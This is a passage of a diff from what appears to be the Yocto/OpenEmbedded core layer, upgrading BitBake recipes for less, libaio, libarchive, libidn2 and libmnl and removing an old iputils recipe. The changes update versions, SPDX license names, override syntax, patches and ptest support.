--- a/meta/recipes-extended/iputils/iputils_s20190709.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Network monitoring tools"
-DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
-tracepath, tracepath6, ping, ping6 and arping."
-HOMEPAGE = "https://github.com/iputils/iputils"
-SECTION = "console/network"
-
-LICENSE = "BSD & GPLv2+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
-
-DEPENDS = "gnutls"
-
-SRC_URI = "git://github.com/iputils/iputils \
- file://0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch \
- file://0001-ninfod-fix-systemd-Documentation-url-error.patch \
- file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
- file://0001-iputils-Initialize-libgcrypt.patch \
- "
-SRCREV = "13e00847176aa23683d68fce1d17ffb523510946"
-
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)"
-
-# Fixed in 2000-10-10, but the versioning of iputils
-# breaks the version order.
-CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214"
-
-PACKAGECONFIG ??= "libcap libgcrypt rarpd \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false, libcap"
-PACKAGECONFIG[libgcrypt] = "-DUSE_CRYPTO=gcrypt, -DUSE_CRYPTO=none, libgcrypt"
-PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
-PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
-PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
-PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
-PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_unitdir}/system,,systemd"
-PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
-PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
-
-inherit meson systemd update-alternatives
-
-# Have to disable setcap/suid as its not deterministic
-EXTRA_OEMESON += "--prefix=${root_prefix}/ -DNO_SETCAP_OR_SUID=true"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-tftpd ${PN}-rdisc \
- ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}"
-PACKAGES += "${SPLITPKGS}"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} += "${SPLITPKGS}"
-
-FILES_${PN} = ""
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-arping = "${base_bindir}/arping"
-FILES_${PN}-tracepath = "${base_bindir}/tracepath"
-FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
-FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
-FILES_${PN}-tftpd = "${base_bindir}/tftpd"
-FILES_${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_unitdir}/system/rarpd@.service"
-FILES_${PN}-rdisc = "${base_sbindir}/rdisc"
-FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
- ${PN}-rdisc"
-SYSTEMD_SERVICE_${PN}-ninfod = "ninfod.service"
-SYSTEMD_SERVICE_${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/less/files/run-ptest b/meta/recipes-extended/less/files/run-ptest
new file mode 100644
index 0000000000..42a2869c84
--- /dev/null
+++ b/meta/recipes-extended/less/files/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+./runtest -l /usr/bin/less -t lesstest -O d lt/*
diff --git a/meta/recipes-extended/less/less_562.bb b/meta/recipes-extended/less/less_562.bb
deleted file mode 100644
index c900574674..0000000000
--- a/meta/recipes-extended/less/less_562.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Text file viewer similar to more"
-DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
-based program for viewing text files and the output from other \
-programs. Less offers many features beyond those that more does."
-HOMEPAGE = "http://www.greenwoodsoftware.com/"
-SECTION = "console/utils"
-
-# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
-# Including email author giving permissing to use BSD
-#
-# From: Mark Nudelman <markn@greenwoodsoftware.com>
-# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
-# Date: 12/19/11
-#
-# Hi Elizabeth,
-# Using a generic BSD license for less is fine with me.
-# Thanks,
-#
-# --Mark
-#
-
-LICENSE = "GPLv3+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \
- "
-DEPENDS = "ncurses"
-
-SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
- "
-
-SRC_URI[md5sum] = "0371a9678cb42f37b9bf9b86e8aa7903"
-SRC_URI[sha256sum] = "eab470c7c928132441541aa49b1352c0fc699c30f762dfaeb3bf88e6f0fd701b"
-
-UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
-
-inherit autotools update-alternatives
-
-do_install () {
- oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
-}
-
-ALTERNATIVE_${PN} = "less"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/less/less_643.bb b/meta/recipes-extended/less/less_643.bb
new file mode 100644
index 0000000000..67834bdd58
--- /dev/null
+++ b/meta/recipes-extended/less/less_643.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Text file viewer similar to more"
+DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
+based program for viewing text files and the output from other \
+programs. Less offers many features beyond those that more does."
+HOMEPAGE = "http://www.greenwoodsoftware.com/"
+SECTION = "console/utils"
+
+# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
+# Including email author giving permissing to use BSD
+#
+# From: Mark Nudelman <markn@greenwoodsoftware.com>
+# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
+# Date: 12/19/11
+#
+# Hi Elizabeth,
+# Using a generic BSD license for less is fine with me.
+# Thanks,
+#
+# --Mark
+#
+
+LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://LICENSE;md5=1b2446f5c8632bf63a97d7a49750e1c6 \
+ "
+DEPENDS = "ncurses"
+
+SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "2911b5432c836fa084c8a2e68f6cd6312372c026a58faaa98862731c8b6052e8"
+
+UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
+
+inherit autotools ptest update-alternatives
+
+EXTRA_OEMAKE += " LESSTEST=1"
+
+inherit autotools update-alternatives
+
+do_compile_ptest () {
+ cd ${S}/lesstest
+ oe_runmake
+}
+
+do_install () {
+ oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
+}
+
+do_install_ptest () {
+ cp ${S}/lesstest/lesstest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/runtest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/lt_screen ${D}${PTEST_PATH}
+ cp -r ${S}/lesstest/lt ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest:append = " perl-module-getopt-std perl-module-cwd locale-base-en-us"
+
+ALTERNATIVE:${PN} = "less"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/00_arches.patch b/meta/recipes-extended/libaio/libaio/00_arches.patch
index bec189f87c..18c8c546c1 100644
--- a/meta/recipes-extended/libaio/libaio/00_arches.patch
+++ b/meta/recipes-extended/libaio/libaio/00_arches.patch
@@ -1,4 +1,4 @@
-From ceba1e03e5b57cdae0b3b2d2c9afebc085c986d8 Mon Sep 17 00:00:00 2001
+From 546f2708ffa1aa44018be65172013289cf896710 Mon Sep 17 00:00:00 2001
From: Qing He <qing.he@intel.com>
Date: Fri, 27 Aug 2010 10:15:31 +0800
Subject: [PATCH] libaio: add new recipe
@@ -8,9 +8,9 @@ Upstream-Status: Inappropriate [embedded specific]
from openembedded, added by Qing He <qing.he@intel.com>
---
- src/syscall-m68k.h | 78 ++++++++++++++++++
- src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++++++++++
- src/syscall-parisc.h | 146 +++++++++++++++++++++++++++++++++
+ src/syscall-m68k.h | 78 +++++++++++++++
+ src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++
+ src/syscall-parisc.h | 146 ++++++++++++++++++++++++++++
src/syscall.h | 6 ++
4 files changed, 453 insertions(+)
create mode 100644 src/syscall-m68k.h
@@ -483,12 +483,12 @@ index 0000000..ff61746
+}
+
diff --git a/src/syscall.h b/src/syscall.h
-index 9b9e9c1..9ecd3b4 100644
+index d2a117b..8cf8470 100644
--- a/src/syscall.h
+++ b/src/syscall.h
@@ -29,6 +29,12 @@
#include "syscall-sparc.h"
- #elif defined(__aarch64__) || defined(__riscv)
+ #elif defined(__aarch64__) || defined(__loongarch__) || defined(__riscv)
#include "syscall-generic.h"
+#elif defined(__m68k__)
+#include "syscall-m68k.h"
diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch
deleted file mode 100644
index 0f90406bee..0000000000
--- a/meta/recipes-extended/libaio/libaio/destdir.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-from openembedded, added by Qing He <qing.he@intel.com>
-
-Index: libaio-0.3.110/Makefile
-===================================================================
---- libaio-0.3.110.orig/Makefile
-+++ libaio-0.3.110/Makefile
-@@ -15,7 +15,7 @@ all:
- @$(MAKE) -C src
-
- install:
-- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir)
-+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir)
-
- check:
- @$(MAKE) -C harness check
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
index 0b1f475697..cc91ea99d9 100644
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch
@@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local'
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- src/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index eadb336..56ab701 100644
+index 37ae219..22e0c9a 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -3,10 +3,10 @@ includedir=$(prefix)/include
- libdir=$(prefix)/lib
-
- CFLAGS ?= -g -fomit-frame-pointer -O2
--CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC
-+CFLAGS += -Wall -I. -fPIC
+@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
+ CFLAGS += -Wall -I. -fPIC
SO_CFLAGS=-shared $(CFLAGS)
L_CFLAGS=$(CFLAGS)
-LINK_FLAGS=
+LINK_FLAGS=$(LDFLAGS)
LINK_FLAGS+=$(LDFLAGS)
+ ENABLE_SHARED ?= 1
- soname=libaio.so.1
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-extended/libaio/libaio_0.3.111.bb b/meta/recipes-extended/libaio/libaio_0.3.111.bb
deleted file mode 100644
index 8e1cd349a0..0000000000
--- a/meta/recipes-extended/libaio/libaio_0.3.111.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Asynchronous I/O library"
-DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
-HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
-
-SRC_URI = "git://pagure.io/libaio.git;protocol=https \
- file://00_arches.patch \
- file://destdir.patch \
- file://libaio_fix_for_mips_syscalls.patch \
- file://system-linkage.patch \
- "
-SRCREV = "f66be22ab0a59a39858900ab72a8c6a6e8b0b7ec"
-S = "${WORKDIR}/git"
-
-EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
-
-do_install () {
- oe_runmake install DESTDIR=${D}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libaio/libaio_0.3.113.bb b/meta/recipes-extended/libaio/libaio_0.3.113.bb
new file mode 100644
index 0000000000..87ab22ed17
--- /dev/null
+++ b/meta/recipes-extended/libaio/libaio_0.3.113.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Asynchronous I/O library"
+DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
+HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
+
+SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
+ file://00_arches.patch \
+ file://libaio_fix_for_mips_syscalls.patch \
+ file://system-linkage.patch \
+ "
+SRCREV = "1b18bfafc6a2f7b9fa2c6be77a95afed8b7be448"
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
+
+do_install () {
+ oe_runmake install DESTDIR=${D}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive/configurehack.patch b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
new file mode 100644
index 0000000000..f3989d99eb
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
@@ -0,0 +1,49 @@
+To work with autoconf 2.73, tweak the macro ordering in configure.in.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: libarchive-3.6.2/configure.ac
+===================================================================
+--- libarchive-3.6.2.orig/configure.ac
++++ libarchive-3.6.2/configure.ac
+@@ -357,6 +357,19 @@ if test "x$with_bz2lib" != "xno"; then
+ esac
+ fi
+
++# Checks for typedefs, structures, and compiler characteristics.
++AC_C_CONST
++# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
++# and MSVC. Use a customized version.
++la_TYPE_UID_T
++AC_TYPE_MODE_T
++# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
++# most systems... default to "long long" instead.
++AC_CHECK_TYPE(off_t, [long long])
++AC_TYPE_SIZE_T
++AC_CHECK_TYPE(id_t, [unsigned long])
++AC_CHECK_TYPE(uintptr_t, [unsigned int])
++
+ AC_ARG_WITH([libb2],
+ AS_HELP_STRING([--without-libb2], [Don't build support for BLAKE2 through libb2]))
+
+@@ -558,19 +571,6 @@ LDFLAGS=$save_LDFLAGS
+
+ AC_SUBST(GC_SECTIONS)
+
+-# Checks for typedefs, structures, and compiler characteristics.
+-AC_C_CONST
+-# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
+-# and MSVC. Use a customized version.
+-la_TYPE_UID_T
+-AC_TYPE_MODE_T
+-# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
+-# most systems... default to "long long" instead.
+-AC_CHECK_TYPE(off_t, [long long])
+-AC_TYPE_SIZE_T
+-AC_CHECK_TYPE(id_t, [unsigned long])
+-AC_CHECK_TYPE(uintptr_t, [unsigned int])
+-
+ # Check for tm_gmtoff in struct tm
+ AC_CHECK_MEMBERS([struct tm.tm_gmtoff, struct tm.__tm_gmtoff],,,
+ [
diff --git a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb b/meta/recipes-extended/libarchive/libarchive_3.4.3.bb
deleted file mode 100644
index dbfc067b93..0000000000
--- a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "Support for reading various archive formats"
-DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
-HOMEPAGE = "http://www.libarchive.org/"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fe01f5e02b1f0cc934d593a7b0ddceb6"
-
-DEPENDS = "e2fsprogs-native"
-
-PACKAGECONFIG ?= "zlib bz2 xz lzo"
-
-PACKAGECONFIG_append_class-target = "\
- libxml2 \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
-PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
-PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
-PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
-PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
-PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
-PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
-PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
-
-EXTRA_OECONF += "--enable-largefile"
-
-SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
-
-SRC_URI[sha256sum] = "ee1e749213c108cb60d53147f18c31a73d6717d7e3d2481c157e1b34c881ea39"
-
-inherit autotools update-alternatives pkgconfig
-
-CPPFLAGS += "-I${WORKDIR}/extra-includes"
-
-do_configure[cleandirs] += "${WORKDIR}/extra-includes"
-do_configure_prepend() {
- # We just need the headers for some type constants, so no need to
- # build all of e2fsprogs for the target
- cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-PACKAGES =+ "bsdtar"
-FILES_bsdtar = "${bindir}/bsdtar"
-
-ALTERNATIVE_bsdtar = "tar"
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
-
-PACKAGES =+ "bsdcpio"
-FILES_bsdcpio = "${bindir}/bsdcpio"
-
-ALTERNATIVE_bsdcpio = "cpio"
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.7.2.bb b/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
new file mode 100644
index 0000000000..91f521fa4d
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
@@ -0,0 +1,67 @@
+SUMMARY = "Support for reading various archive formats"
+DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
+HOMEPAGE = "http://www.libarchive.org/"
+SECTION = "devel"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
+
+DEPENDS = "e2fsprogs-native"
+
+PACKAGECONFIG ?= "zlib bz2 xz zstd ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)}"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
+PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
+PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
+PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
+PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
+PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
+PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
+PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
+
+EXTRA_OECONF += "--enable-largefile --without-iconv"
+
+SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
+SRC_URI += "file://configurehack.patch"
+UPSTREAM_CHECK_URI = "http://libarchive.org/"
+
+SRC_URI[sha256sum] = "df404eb7222cf30b4f8f93828677890a2986b66ff8bf39dac32a804e96ddf104"
+
+CVE_STATUS[CVE-2023-30571] = "upstream-wontfix: upstream has documented that reported function is not thread-safe"
+
+inherit autotools update-alternatives pkgconfig
+
+CPPFLAGS += "-I${WORKDIR}/extra-includes"
+
+do_configure[cleandirs] += "${WORKDIR}/extra-includes"
+do_configure:prepend() {
+ # We just need the headers for some type constants, so no need to
+ # build all of e2fsprogs for the target
+ cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+PACKAGES =+ "bsdtar"
+FILES:bsdtar = "${bindir}/bsdtar"
+
+ALTERNATIVE:bsdtar = "tar"
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
+
+PACKAGES =+ "bsdcpio"
+FILES:bsdcpio = "${bindir}/bsdcpio"
+
+ALTERNATIVE:bsdcpio = "cpio"
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.0.bb b/meta/recipes-extended/libidn/libidn2_2.3.0.bb
deleted file mode 100644
index 7adf924aeb..0000000000
--- a/meta/recipes-extended/libidn/libidn2_2.3.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Internationalized Domain Name support library"
-DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
-HOMEPAGE = "http://www.gnu.org/software/libidn/"
-SECTION = "libs"
-LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
- file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \
- file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f"
-
-SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "01c5084995295e519f95978ae9785ee0"
-SRC_URI[sha256sum] = "e1cb1db3d2e249a6a3eb6f0946777c2e892d5c5dc7bd91c74394fc3a01cab8b5"
-
-DEPENDS = "virtual/libiconv libunistring"
-
-inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
-
-EXTRA_OECONF += "--disable-rpath \
- --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
- "
-
-do_install_append() {
- # Need to remove any duplicate whitespace too for reproducibility
- sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
-}
-
-LICENSE_${PN} = "(GPLv2+ | LGPLv3)"
-LICENSE_${PN}-bin = "GPLv3+"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.7.bb b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
new file mode 100644
index 0000000000..7ae933e047
--- /dev/null
+++ b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Internationalized Domain Name support library"
+DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
+HOMEPAGE = "http://www.gnu.org/software/libidn/"
+SECTION = "libs"
+LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later & Unicode-DFS-2016"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
+ file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.unicode;md5=684cf5f7e3fded3546679424528261a9 \
+ file://src/idn2.c;endline=16;md5=afc1531bda991ba6338e33a7eff758a0 \
+ file://lib/idn2.h.in;endline=27;md5=f88d218005a5c45b68a83cecb5bd7f26 \
+ "
+
+SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
+SRC_URI[sha256sum] = "4c21a791b610b9519b9d0e12b8097bf2f359b12f8dd92647611a929e6bfd7d64"
+
+DEPENDS = "virtual/libiconv libunistring"
+
+inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
+
+EXTRA_OECONF += "--disable-rpath \
+ --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
+ "
+
+do_install:append() {
+ # Need to remove any duplicate whitespace too for reproducibility
+ sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
+}
+
+LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only) & Unicode-DFS-2016"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
deleted file mode 100644
index b55bb311f6..0000000000
--- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "Minimalistic user-space Netlink utility library"
-DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, providing \
- functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
-HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar"
-SRC_URI[tar.md5sum] = "be9b4b5328c6da1bda565ac5dffadb2d"
-SRC_URI[tar.sha256sum] = "171f89699f286a5854b72b91d06e8f8e3683064c5901fb09d954a9ab6f551f81"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.5.bb b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
new file mode 100644
index 0000000000..748326c0a0
--- /dev/null
+++ b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Minimalistic user-space Netlink utility library"
+DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, providing \
+ functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
+HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2"
+SRC_URI[sha256sum] = "274b9b919ef3152bfb3da3a13c950dd60d6e2bcd54230ffeca298d03b40d0525"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index badb71d977..8cc1f7cec3 100644
